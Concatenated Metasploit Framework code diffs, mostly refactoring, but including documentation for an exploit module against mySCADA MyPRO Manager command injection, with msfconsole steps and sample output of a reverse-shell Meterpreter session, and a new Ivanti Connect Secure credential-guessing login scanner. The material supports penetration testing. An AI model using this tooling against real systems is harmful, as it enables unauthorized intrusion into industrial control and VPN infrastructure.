This module is based on the work that was done by @leechristensen and @sekirkity as documented [here](http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/).
|
||||
This module is based on the work that was done by @leechristensen and @sekirkity as
|
||||
documented [here](https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
## Vulnerable Application
|
||||
|
||||
**Vulnerability Description**
|
||||
|
||||
This module exploits a command injection vulnerability in mySCADA MyPRO Manager <= v1.2 (CVE-2024-47407).
|
||||
|
||||
An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of
|
||||
`myscada9`, an administrative user that is automatically added by the product during installation.
|
||||
|
||||
Versions <= 1.2 are affected. CISA published [ICSA-24-326-07](https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07) to cover
|
||||
the security issues. The official changelog from the vendor for the updated version is available
|
||||
[here](https://www.myscada.org/docs/5-11-2024/).
|
||||
|
||||
**Vulnerable Application Installation**
|
||||
|
||||
A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/).
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- mySCADA MyPRO Manager 1.2 on Windows 11 (10.0 Build 22621)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed.
|
||||
3. Start `msfconsole` and run the following commands:
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/scada/mypro_mgr_cmd
|
||||
msf6 exploit(windows/scada/mypro_mgr_cmd) > set RHOSTS <IP>
|
||||
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit
|
||||
```
|
||||
|
||||
You should get a meterpreter session in the context of `myscada9`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the exploit against MyPRO Manager v1.2 on Windows 11, using curl as a fetch command, should result in an output similar to the
|
||||
following:
|
||||
|
||||
```
|
||||
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.227:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Sending stage (201798 bytes) to 192.168.1.228
|
||||
[*] Meterpreter session 1 opened (192.168.1.227:4444 -> 192.168.1.228:50472) at 2025-01-29 12:38:39 -0500
|
||||
[*] Exploit finished, check thy shell.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: asdf\myscada9
|
||||
meterpreter > sysinfo
|
||||
Computer : asdf
|
||||
OS : Windows 11 (10.0 Build 22621).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 3
|
||||
Meterpreter : x64/windows
|
||||
```
|
||||
@@ -77,6 +77,10 @@ read_loop:
|
||||
svc 0
|
||||
cmn x0, #0x1
|
||||
beq failed
|
||||
mov x2, x0 // The 'sync' syscall was added to fix a strange bug in RaspberryPi 4
|
||||
mov x8, #0x51 // More information here:
|
||||
svc 0 // https://github.com/rapid7/metasploit-framework/pull/19875
|
||||
mov x0, x2 //
|
||||
add x3, x3, x0
|
||||
subs x4, x4, x0
|
||||
bne read_loop
|
||||
|
||||
@@ -75,10 +75,10 @@ _start:
|
||||
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
|
||||
add r7,#99 @ __NR_recv
|
||||
mov r1,r0 @ *buf
|
||||
mov r0,r12 @ sockfd
|
||||
mov r3,#0 @ flags
|
||||
@ remove blocksize from total length
|
||||
loop:
|
||||
mov r0,r12 @ sockfd
|
||||
ldr r2,[sp,#0]
|
||||
sub r2,#1000
|
||||
str r2,[sp,#0]
|
||||
|
||||
@@ -212,6 +212,23 @@ module Metasploit::Framework
|
||||
# @return [Boolean]
|
||||
attr_accessor :anonymous_login
|
||||
|
||||
# @!attribute ignore_private
|
||||
# Whether to ignore private (password). This is usually set when Kerberos
|
||||
# or Schannel authentication is requested and the credentials are
|
||||
# retrieved from cache or from a file. This attribute should be true in
|
||||
# these scenarios, otherwise validation will fail since the password is not
|
||||
# provided.
|
||||
# @return [Boolean]
|
||||
attr_accessor :ignore_private
|
||||
|
||||
# @!attribute ignore_public
|
||||
# Whether to ignore public (username). This is usually set when Schannel
|
||||
# authentication is requested and the credentials are retrieved from a
|
||||
# file (certificate). This attribute should be true in this case,
|
||||
# otherwise validation will fail since the password is not provided.
|
||||
# @return [Boolean]
|
||||
attr_accessor :ignore_public
|
||||
|
||||
# @option opts [Boolean] :blank_passwords See {#blank_passwords}
|
||||
# @option opts [String] :pass_file See {#pass_file}
|
||||
# @option opts [String] :password See {#password}
|
||||
@@ -240,7 +257,13 @@ module Metasploit::Framework
|
||||
# @yieldparam credential [Metasploit::Framework::Credential]
|
||||
# @return [void]
|
||||
def each_filtered
|
||||
if password_spray
|
||||
if ignore_private
|
||||
if ignore_public
|
||||
yield Metasploit::Framework::Credential.new(public: nil, private: nil, realm: realm)
|
||||
else
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: nil, realm: realm)
|
||||
end
|
||||
elsif password_spray
|
||||
each_unfiltered_password_first do |credential|
|
||||
next unless self.filter.nil? || self.filter.call(credential)
|
||||
|
||||
@@ -510,14 +533,14 @@ module Metasploit::Framework
|
||||
#
|
||||
# @return [Boolean]
|
||||
def has_users?
|
||||
username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty?
|
||||
username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty? || !!ignore_public
|
||||
end
|
||||
|
||||
# Returns true when there are any private values set
|
||||
#
|
||||
# @return [Boolean]
|
||||
def has_privates?
|
||||
super || userpass_file.present? || user_as_pass
|
||||
super || userpass_file.present? || user_as_pass || !!ignore_private
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -126,6 +126,8 @@ module Metasploit
|
||||
return 'vnc'
|
||||
when hash =~ /^\$pbkdf2-sha256\$[0-9]+\$[a-z0-9\/.]+\$[a-z0-9\/.]{43}$/i
|
||||
return 'pbkdf2-sha256'
|
||||
when hash =~ /^\$sntp-ms\$[\da-fA-F]{32}\$[\da-fA-F]{96}$/
|
||||
return 'timeroast'
|
||||
end
|
||||
''
|
||||
end
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
# Ivanti Login Scanner supporting
|
||||
# - User Login
|
||||
# - Admin Login
|
||||
class Ivanti < HTTP
|
||||
|
||||
DEFAULT_SSL_PORT = 443
|
||||
LIKELY_PORTS = [443]
|
||||
LIKELY_SERVICE_NAMES = [
|
||||
'Ivanti Connect Secure'
|
||||
]
|
||||
PRIVATE_TYPES = [:password]
|
||||
REALM_KEY = nil
|
||||
|
||||
def initialize(scanner_config, admin)
|
||||
@admin = admin
|
||||
super(scanner_config)
|
||||
end
|
||||
|
||||
def check_setup
|
||||
request_params = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/dana-na/auth/url_default/welcome.cgi')
|
||||
}
|
||||
|
||||
res = send_request(request_params)
|
||||
|
||||
if res && res.code == 200 && res.body&.include?('Ivanti Connect Secure')
|
||||
return false
|
||||
end
|
||||
|
||||
'Application might not be Ivanti Connect Secure, please check'
|
||||
end
|
||||
|
||||
def create_admin_request(username, password, token, protocol, peer)
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('/dana-na/auth/url_admin/login.cgi'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'headers' =>
|
||||
{
|
||||
'Origin' => "#{protocol}://#{peer}",
|
||||
'Referer' => "#{protocol}://#{peer}/dana-na/auth/url_admin/welcome.cgi"
|
||||
},
|
||||
'vars_post' => {
|
||||
tz_offset: '60',
|
||||
xsauth_token: token,
|
||||
username: username,
|
||||
password: password,
|
||||
realm: 'Admin+Users',
|
||||
btnSubmit: 'Sign+In'
|
||||
|
||||
},
|
||||
'encode_params' => false
|
||||
}
|
||||
end
|
||||
|
||||
def do_admin_logout(cookies)
|
||||
admin_page_res = send_request({ 'method' => 'GET', 'uri' => normalize_uri('/dana-admin/misc/admin.cgi?'), 'cookie' => cookies })
|
||||
admin_page_s = admin_page_res.to_s
|
||||
re = /xsauth=[a-z0-9]{32}/
|
||||
xsauth = re.match(admin_page_s)
|
||||
|
||||
return nil if xsauth.nil?
|
||||
|
||||
send_request({ 'method' => 'GET', 'uri' => normalize_uri('/dana-na/auth/logout.cgi?' + xsauth[0]), 'cookie' => cookies })
|
||||
end
|
||||
|
||||
def get_token
|
||||
res = send_request({
|
||||
'uri' => normalize_uri('/dana-na/auth/url_admin/welcome.cgi')
|
||||
})
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
|
||||
|
||||
html_document = res.get_html_document
|
||||
html_document.xpath('//input[@id="xsauth_token"]/@value')&.text
|
||||
end
|
||||
|
||||
def do_admin_login(username, password)
|
||||
token = get_token
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if token.blank?
|
||||
|
||||
protocol = ssl ? 'https' : 'http'
|
||||
peer = "#{host}:#{port}"
|
||||
admin_req = create_admin_request(username, password, token, protocol, peer)
|
||||
begin
|
||||
res = send_request(admin_req)
|
||||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
|
||||
end
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location')
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res.headers['location'] == '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm'
|
||||
|
||||
if res.headers['location'] == '/dana-admin/misc/admin.cgi'
|
||||
do_admin_logout(res.get_cookies)
|
||||
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s }
|
||||
end
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s }
|
||||
end
|
||||
|
||||
def create_user_request(username, password, protocol, peer)
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('/dana-na/auth/url_default/login.cgi'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'headers' =>
|
||||
{
|
||||
'Origin' => "#{protocol}://#{peer}",
|
||||
'Referer' => "#{protocol}://#{peer}/dana-na/auth/url_default/welcome.cgi"
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
tz_offset: '',
|
||||
win11: '',
|
||||
clientMAC: '',
|
||||
username: username,
|
||||
password: password,
|
||||
realm: 'Users',
|
||||
btnSubmit: 'Sign+In'
|
||||
},
|
||||
'encode_params' => false
|
||||
}
|
||||
end
|
||||
|
||||
def do_logout(cookies)
|
||||
send_request({ 'uri' => normalize_uri('/dana-na/auth/logout.cgi?delivery=psal'), 'cookie' => cookies })
|
||||
end
|
||||
|
||||
def do_login(username, password)
|
||||
protocol = ssl ? 'https' : 'http'
|
||||
peer = "#{host}:#{port}"
|
||||
user_req = create_user_request(username, password, protocol, peer)
|
||||
begin
|
||||
res = send_request(user_req)
|
||||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
|
||||
end
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location')
|
||||
|
||||
if res.headers['location'] == '/dana-na/auth/url_default/welcome.cgi?p=ip%2Dblocked'
|
||||
sleep(2 * 60) # 2 minutes
|
||||
res = send_request(user_req)
|
||||
end
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res.headers['location'] == '/dana-na/auth/url_default/welcome.cgi?p=user%2Dconfirm'
|
||||
|
||||
if res.headers['location'] == '/dana/home/starter0.cgi?check=yes'
|
||||
do_logout(res.get_cookies)
|
||||
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s }
|
||||
else
|
||||
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s }
|
||||
end
|
||||
end
|
||||
|
||||
# Attempts to login to the server.
|
||||
#
|
||||
# @param [Metasploit::Framework::Credential] credential The credential information.
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
# focus on creating Result object, pass it to #login routine and return Result object
|
||||
result_options = {
|
||||
credential: credential,
|
||||
host: @host,
|
||||
port: @port,
|
||||
protocol: 'tcp',
|
||||
service_name: 'ivanti'
|
||||
}
|
||||
|
||||
if @admin
|
||||
login_result = do_admin_login(credential.public, credential.private)
|
||||
else
|
||||
login_result = do_login(credential.public, credential.private)
|
||||
end
|
||||
|
||||
result_options.merge!(login_result)
|
||||
Result.new(result_options)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -7,7 +7,7 @@ module Metasploit
|
||||
# This is the LoginScanner class for dealing with JetBrains TeamCity instances.
|
||||
# It is responsible for taking a single target, and a list of credentials
|
||||
# and attempting them. It then saves the results.
|
||||
class Teamcity < HTTP
|
||||
class TeamCity < HTTP
|
||||
|
||||
module Crypto
|
||||
# https://github.com/openssl/openssl/blob/a08a145d4a7e663dd1e973f06a56e983a5e916f7/crypto/rsa/rsa_pk1.c#L125
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.4.39"
|
||||
VERSION = "6.4.52"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -623,7 +623,7 @@ class ReadableText
|
||||
)
|
||||
options.sort_by(&:name).each do |opt|
|
||||
name = opt.name
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
if mod.datastore.is_a?(Msf::DataStore)
|
||||
val = mod.datastore[name]
|
||||
else
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
|
||||
@@ -76,7 +76,7 @@ module Msf::Sessions
|
||||
end
|
||||
|
||||
def bootstrap(datastore = {}, handler = nil)
|
||||
@ssh_command_stream = Net::SSH::CommandStream.new(ssh_connection)
|
||||
@ssh_command_stream = Net::SSH::CommandStream.new(ssh_connection, session: self, logger: self)
|
||||
|
||||
@ssh_command_stream.verify_channel
|
||||
# set remote_window_size to 32 which seems to help stability
|
||||
|
||||
@@ -202,6 +202,8 @@ Shell Banner:
|
||||
tbl << [key, value]
|
||||
end
|
||||
|
||||
tbl << ['.<command>', "Prefix any built-in command on this list with a '.' to execute in the underlying shell (ex: .help)"]
|
||||
|
||||
print(tbl.to_s)
|
||||
print("For more info on a specific command, use %grn<command> -h%clr or %grnhelp <command>%clr.\n\n")
|
||||
end
|
||||
@@ -607,8 +609,13 @@ Shell Banner:
|
||||
end
|
||||
|
||||
# Built-in command
|
||||
if commands.key?(method)
|
||||
return run_builtin_cmd(method, arguments)
|
||||
if commands.key?(method) or ( not method.nil? and method[0] == '.' and commands.key?(method[1..-1]))
|
||||
# Handle overlapping built-ins with actual shell commands by prepending '.'
|
||||
if method[0] == '.' and commands.key?(method[1..-1])
|
||||
return shell_write(cmd[1..-1] + command_termination)
|
||||
else
|
||||
return run_builtin_cmd(method, arguments)
|
||||
end
|
||||
end
|
||||
|
||||
# User input is not a built-in command, write to socket directly
|
||||
|
||||
@@ -23,7 +23,7 @@ class Msf::Sessions::SMB
|
||||
# @option opts [RubySMB::Client] :client
|
||||
def initialize(rstream, opts = {})
|
||||
@client = opts.fetch(:client)
|
||||
@simple_client = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)
|
||||
@simple_client = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client, msf_session: self)
|
||||
self.console = Rex::Post::SMB::Ui::Console.new(self)
|
||||
super(rstream, opts)
|
||||
end
|
||||
@@ -53,6 +53,13 @@ class Msf::Sessions::SMB
|
||||
end
|
||||
end
|
||||
|
||||
def verify_connectivity
|
||||
@client.dispatcher.tcp_socket.peerinfo
|
||||
rescue Errno::ENOTCONN
|
||||
self.kill
|
||||
raise
|
||||
end
|
||||
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
@@ -140,5 +147,4 @@ class Msf::Sessions::SMB
|
||||
# the EOFError so we can drop this handle like a bad habit.
|
||||
raise EOFError if (console.stopped? == true)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -243,7 +243,7 @@ module Msf::Sessions
|
||||
# shells accessed through SSH may respond to the echo command issued for verification as expected
|
||||
datastore['AutoVerifySession'] &= @platform.blank?
|
||||
|
||||
@rstream = Net::SSH::CommandStream.new(ssh_connection).lsock
|
||||
@rstream = Net::SSH::CommandStream.new(ssh_connection, session: self, logger: self).lsock
|
||||
super
|
||||
|
||||
@info = "SSH #{username} @ #{@peer_info}"
|
||||
|
||||
+293
-98
@@ -3,40 +3,61 @@ module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# The data store is just a bitbucket that holds keyed values. It is used
|
||||
# The data store is just a bitbucket that holds keyed values. It is used
|
||||
# by various classes to hold option values and other state information.
|
||||
#
|
||||
###
|
||||
class DataStore < Hash
|
||||
class DataStore
|
||||
|
||||
# Temporary forking logic for conditionally using the {Msf::ModuleDatastoreWithFallbacks} implementation.
|
||||
# The global framework datastore doesn't currently import options
|
||||
# For now, store an ad-hoc list of keys that the shell handles
|
||||
#
|
||||
# This method replaces the default `ModuleDataStore.new` with the ability to instantiate the `ModuleDataStoreWithFallbacks`
|
||||
# class instead, if the feature is enabled
|
||||
def self.new
|
||||
if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
return Msf::DataStoreWithFallbacks.new
|
||||
end
|
||||
|
||||
instance = allocate
|
||||
instance.send(:initialize)
|
||||
instance
|
||||
end
|
||||
# This list could be removed if framework's bootup sequence registers
|
||||
# these as datastore options
|
||||
GLOBAL_KEYS = %w[
|
||||
ConsoleLogging
|
||||
LogLevel
|
||||
MinimumRank
|
||||
SessionLogging
|
||||
TimestampOutput
|
||||
Prompt
|
||||
PromptChar
|
||||
PromptTimeFormat
|
||||
MeterpreterPrompt
|
||||
SessionTlvLogging
|
||||
]
|
||||
|
||||
#
|
||||
# Initializes the data store's internal state.
|
||||
#
|
||||
def initialize()
|
||||
def initialize
|
||||
@options = Hash.new
|
||||
@aliases = Hash.new
|
||||
@imported = Hash.new
|
||||
@imported_by = Hash.new
|
||||
|
||||
# default values which will be referenced when not defined by the user
|
||||
@defaults = Hash.new
|
||||
|
||||
# values explicitly defined, which take precedence over default values
|
||||
@user_defined = Hash.new
|
||||
end
|
||||
|
||||
# @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc
|
||||
attr_accessor :options
|
||||
attr_accessor :aliases
|
||||
attr_accessor :imported
|
||||
attr_accessor :imported_by
|
||||
|
||||
#
|
||||
# Returns a hash of user-defined datastore values. The returned hash does
|
||||
# not include default option values.
|
||||
#
|
||||
# @return [Hash<String, Object>] values explicitly defined on the data store which will override any default datastore values
|
||||
attr_accessor :user_defined
|
||||
|
||||
#
|
||||
# Was this entry actually set or just using its default
|
||||
#
|
||||
# @return [TrueClass, FalseClass]
|
||||
def default?(key)
|
||||
search_for(key).default?
|
||||
end
|
||||
|
||||
#
|
||||
# Clears the imported flag for the supplied key since it's being set
|
||||
@@ -44,8 +65,6 @@ class DataStore < Hash
|
||||
#
|
||||
def []=(k, v)
|
||||
k = find_key_case(k)
|
||||
@imported[k] = false
|
||||
@imported_by[k] = nil
|
||||
|
||||
opt = @options[k]
|
||||
unless opt.nil?
|
||||
@@ -57,49 +76,76 @@ class DataStore < Hash
|
||||
end
|
||||
end
|
||||
|
||||
super(k,v)
|
||||
@user_defined[k] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around hash lookup
|
||||
#
|
||||
def [](k)
|
||||
super(find_key_case(k))
|
||||
search_result = search_for(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around store
|
||||
# Case-insensitive wrapper around store; Skips option validation entirely
|
||||
#
|
||||
def store(k,v)
|
||||
super(find_key_case(k), v)
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around delete
|
||||
#
|
||||
def delete(k)
|
||||
@aliases.delete_if { |_, v| v.casecmp(k) == 0 }
|
||||
super(find_key_case(k))
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Updates a value in the datastore with the specified name, k, to the
|
||||
# specified value, v. This update does not alter the imported status of
|
||||
# the value.
|
||||
# specified value, v. Skips option validation entirely.
|
||||
#
|
||||
def update_value(k, v)
|
||||
self.store(k, v)
|
||||
store(k, v)
|
||||
end
|
||||
|
||||
#
|
||||
# unset the current key from the datastore
|
||||
# @param [String] key The key to search for
|
||||
def unset(key)
|
||||
k = find_key_case(key)
|
||||
search_result = search_for(k)
|
||||
@user_defined.delete(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
# @deprecated use #{unset} instead, or set the value explicitly to nil
|
||||
# @param [String] key The key to search for
|
||||
def delete(key)
|
||||
unset(key)
|
||||
end
|
||||
|
||||
#
|
||||
# Removes an option and any associated value
|
||||
#
|
||||
# @param [String] name the option name
|
||||
# @return [nil]
|
||||
def remove_option(name)
|
||||
k = find_key_case(name)
|
||||
@user_defined.delete(k)
|
||||
@aliases.delete_if { |_, v| v.casecmp?(k) }
|
||||
@options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) }
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# This method is a helper method that imports the default value for
|
||||
# all of the supplied options
|
||||
#
|
||||
def import_options(options, imported_by = nil, overwrite = false)
|
||||
options.each_option do |name, opt|
|
||||
if self[name].nil? || overwrite
|
||||
import_option(name, opt.default, true, imported_by, opt)
|
||||
def import_options(options, imported_by = nil, overwrite = true)
|
||||
options.each_option do |name, option|
|
||||
if self.options[name].nil? || overwrite
|
||||
key = name
|
||||
option.aliases.each do |a|
|
||||
@aliases[a.downcase] = key.downcase
|
||||
end
|
||||
@options[key] = option
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -142,22 +188,32 @@ class DataStore < Hash
|
||||
hash[var] = val
|
||||
}
|
||||
|
||||
import_options_from_hash(hash)
|
||||
merge!(hash)
|
||||
end
|
||||
|
||||
#
|
||||
# Imports options from a hash and stores them in the datastore.
|
||||
# Imports values from a hash and stores them in the datastore.
|
||||
#
|
||||
# @deprecated use {#merge!} instead
|
||||
# @return [nil]
|
||||
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
|
||||
option_hash.each_pair { |key, val|
|
||||
import_option(key, val, imported, imported_by)
|
||||
}
|
||||
merge!(option_hash)
|
||||
end
|
||||
|
||||
# Update defaults from a hash. These merged values are not validated by default.
|
||||
#
|
||||
# @param [Hash<String, Object>] hash The default values that should be used by the datastore
|
||||
# @param [Object] imported_by Who imported the defaults, not currently used
|
||||
# @return [nil]
|
||||
def import_defaults_from_hash(hash, imported_by:)
|
||||
@defaults.merge!(hash)
|
||||
end
|
||||
|
||||
# TODO: Doesn't normalize data in the same vein as:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/6644
|
||||
# @deprecated Use {#import_options}
|
||||
def import_option(key, val, imported = true, imported_by = nil, option = nil)
|
||||
self.store(key, val)
|
||||
store(key, val)
|
||||
|
||||
if option
|
||||
option.aliases.each do |a|
|
||||
@@ -165,10 +221,32 @@ class DataStore < Hash
|
||||
end
|
||||
end
|
||||
@options[key] = option
|
||||
@imported[key] = imported
|
||||
@imported_by[key] = imported_by
|
||||
end
|
||||
|
||||
# @return [Array<String>] The array of user defined datastore values, and registered option names
|
||||
def keys
|
||||
(@user_defined.keys + @options.keys).uniq(&:downcase)
|
||||
end
|
||||
|
||||
# @return [Integer] The length of the registered keys
|
||||
def length
|
||||
keys.length
|
||||
end
|
||||
|
||||
alias count length
|
||||
alias size length
|
||||
|
||||
# @param [String] key
|
||||
# @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise.
|
||||
def key?(key)
|
||||
matching_key = find_key_case(key)
|
||||
keys.include?(matching_key)
|
||||
end
|
||||
|
||||
alias has_key? key?
|
||||
alias include? key?
|
||||
alias member? key?
|
||||
|
||||
#
|
||||
# Serializes the options in the datastore to a string.
|
||||
#
|
||||
@@ -179,7 +257,7 @@ class DataStore < Hash
|
||||
str << "#{key}=#{self[key]}" + ((str.length) ? delim : '')
|
||||
}
|
||||
|
||||
return str
|
||||
str
|
||||
end
|
||||
|
||||
# Override Hash's to_h method so we can include the original case of each key
|
||||
@@ -188,7 +266,7 @@ class DataStore < Hash
|
||||
def to_h
|
||||
datastore_hash = {}
|
||||
self.keys.each do |k|
|
||||
datastore_hash[k.to_s] = self[k].to_s
|
||||
datastore_hash[k.to_s] = self[k]
|
||||
end
|
||||
datastore_hash
|
||||
end
|
||||
@@ -225,7 +303,7 @@ class DataStore < Hash
|
||||
ini.add_group(name)
|
||||
|
||||
# Save all user-defined options to the file.
|
||||
user_defined.each_pair { |k, v|
|
||||
@user_defined.each_pair { |k, v|
|
||||
ini[name][k] = v
|
||||
}
|
||||
|
||||
@@ -243,73 +321,73 @@ class DataStore < Hash
|
||||
return
|
||||
end
|
||||
|
||||
if (ini.group?(name))
|
||||
import_options_from_hash(ini[name], false)
|
||||
if ini.group?(name)
|
||||
merge!(ini[name])
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return a deep copy of this datastore.
|
||||
#
|
||||
# Return a copy of this datastore. Only string values will be duplicated, other values
|
||||
# will share the same reference
|
||||
# @return [Msf::DataStore] a new datastore instance
|
||||
def copy
|
||||
ds = self.class.new
|
||||
self.keys.each do |k|
|
||||
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
|
||||
end
|
||||
ds.aliases = self.aliases.dup
|
||||
ds
|
||||
new_instance = self.class.new
|
||||
new_instance.copy_state(self)
|
||||
new_instance
|
||||
end
|
||||
|
||||
#
|
||||
# Override merge! so that we merge the aliases and imported hashes
|
||||
# Merge the other object into the current datastore's aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore, Hash] other
|
||||
def merge!(other)
|
||||
if other.is_a? DataStore
|
||||
if other.is_a?(DataStore)
|
||||
self.aliases.merge!(other.aliases)
|
||||
self.imported.merge!(other.imported)
|
||||
self.imported_by.merge!(other.imported_by)
|
||||
self.options.merge!(other.options)
|
||||
self.defaults.merge!(other.defaults)
|
||||
other.user_defined.each do |k, v|
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
else
|
||||
other.each do |k, v|
|
||||
self.store(k, v)
|
||||
end
|
||||
end
|
||||
# call super last so that we return a reference to ourselves
|
||||
super
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
alias update merge!
|
||||
|
||||
#
|
||||
# Reverse Merge the other object into the current datastore's aliases and imported hashes
|
||||
# Equivalent to ActiveSupport's reverse_merge! functionality.
|
||||
#
|
||||
# @param [Msf::Datastore] other
|
||||
def reverse_merge!(other)
|
||||
raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStore)
|
||||
|
||||
copy_state(other.merge(self))
|
||||
end
|
||||
|
||||
#
|
||||
# Override merge to ensure we merge the aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore,Hash] other
|
||||
def merge(other)
|
||||
ds = self.copy
|
||||
ds.merge!(other)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash of user-defined datastore values. The returned hash does
|
||||
# not include default option values.
|
||||
#
|
||||
def user_defined
|
||||
reject { |k, v|
|
||||
@imported[k] == true
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Remove all imported options from the data store.
|
||||
#
|
||||
def clear_non_user_defined
|
||||
@imported.delete_if { |k, v|
|
||||
if (v and @imported_by[k] != 'self')
|
||||
self.delete(k)
|
||||
@imported_by.delete(k)
|
||||
end
|
||||
|
||||
v
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Completely clear all values in the hash
|
||||
# Completely clear all values in the data store
|
||||
#
|
||||
def clear
|
||||
self.keys.each {|k| self.delete(k) }
|
||||
self.options.clear
|
||||
self.aliases.clear
|
||||
self.defaults.clear
|
||||
self.user_defined.clear
|
